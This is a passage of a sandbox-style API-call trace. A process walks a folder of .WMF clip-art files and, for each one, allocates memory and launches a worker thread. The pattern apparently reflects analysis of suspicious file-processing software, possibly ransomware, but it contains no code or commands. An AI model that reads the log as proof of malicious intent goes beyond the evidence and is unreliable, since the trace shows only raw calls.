	[0216.132] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1
	[0216.132] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1888
	[0216.135] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.135] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1
	[0216.135] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188c
	[0216.138] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.139] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1
	[0216.139] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1890
	[0216.142] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.142] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1
	[0216.143] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1894
	[0216.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.146] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1
	[0216.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1898
	[0216.148] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.149] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1
	[0216.149] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x189c
	[0216.152] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.152] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1
	[0216.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a0
	[0216.524] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.548] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1
	[0216.548] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a4
	[0216.556] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.557] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1
	[0216.557] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a8
	[0216.629] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.630] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1
	[0216.630] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18ac
	[0216.634] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.634] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1
	[0216.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b0
	[0216.637] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.637] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1
	[0216.638] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b4
	[0216.640] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.641] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1
	[0216.641] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b8
	[0216.643] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.644] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1
	[0216.644] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18bc
	[0216.647] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.647] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1
	[0216.647] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c0
	[0216.650] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.650] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1
	[0216.650] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c4
	[0216.653] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.654] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1
	[0216.654] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c8
	[0217.204] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.205] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1
	[0217.205] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18cc
	[0217.208] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.208] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1
	[0217.208] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d0
	[0217.211] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.212] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1
	[0217.212] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d4
	[0217.216] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.216] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1
	[0217.216] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d8
	[0217.219] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.220] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1
	[0217.220] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18dc
	[0217.223] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.224] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1
	[0217.224] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e0
	[0217.227] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.227] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1
	[0217.227] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e4
	[0217.231] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.231] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1
	[0217.231] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e8
	[0217.235] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.235] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1
	[0217.235] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18ec
	[0217.806] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.816] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1
	[0217.816] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f0
	[0217.819] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
